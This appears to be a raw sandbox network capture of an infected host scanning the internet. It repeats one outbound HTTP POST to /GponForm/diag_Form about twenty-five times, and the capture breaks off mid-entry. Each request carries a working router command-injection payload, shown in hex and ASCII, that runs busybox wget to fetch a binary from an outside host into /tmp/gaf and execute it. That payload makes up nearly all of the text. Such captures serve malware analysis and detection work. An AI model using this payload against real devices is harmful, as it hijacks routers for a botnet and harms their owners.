Session ID	Source IP	Source Port	Destination IP	Destination Port
1664	192.168.2.13	59732	118.128.235.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133409977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1665	192.168.2.13	33446	79.211.154.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133426905 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1666	192.168.2.13	37340	117.135.18.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133445024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1667	192.168.2.13	33956	148.186.253.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133470058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1668	192.168.2.13	56092	94.222.36.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133483887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1669	192.168.2.13	39274	212.96.158.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133508921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1670	192.168.2.13	37302	123.190.63.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133534908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1671	192.168.2.13	52588	94.9.42.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133554935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1672	192.168.2.13	57316	123.9.145.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133584023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1673	192.168.2.13	36718	202.123.194.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133603096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1674	192.168.2.13	33590	212.13.184.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133626938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1675	192.168.2.13	41836	178.34.154.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133641005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1676	192.168.2.13	60688	148.30.8.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133644104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1677	192.168.2.13	51474	2.252.241.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133687019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1678	192.168.2.13	46036	118.79.225.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133687019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1679	192.168.2.13	57302	2.86.31.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133699894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1680	192.168.2.13	43108	212.206.10.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133713007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1681	192.168.2.13	53450	210.43.90.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133727074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1682	192.168.2.13	38016	94.81.175.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133745909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1683	192.168.2.13	59096	79.100.57.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133780956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1684	192.168.2.13	33420	79.51.251.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133785009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1685	192.168.2.13	39562	210.70.66.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133795023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1686	192.168.2.13	49144	123.186.41.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133815050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1687	192.168.2.13	58302	42.170.162.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133846045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1688	192.168.2.13	57988	118.158.166.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133852005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1689	192.168.2.13	53128	5.50.247.198	443

Timestamp	Bytes transferred	Direction	Data
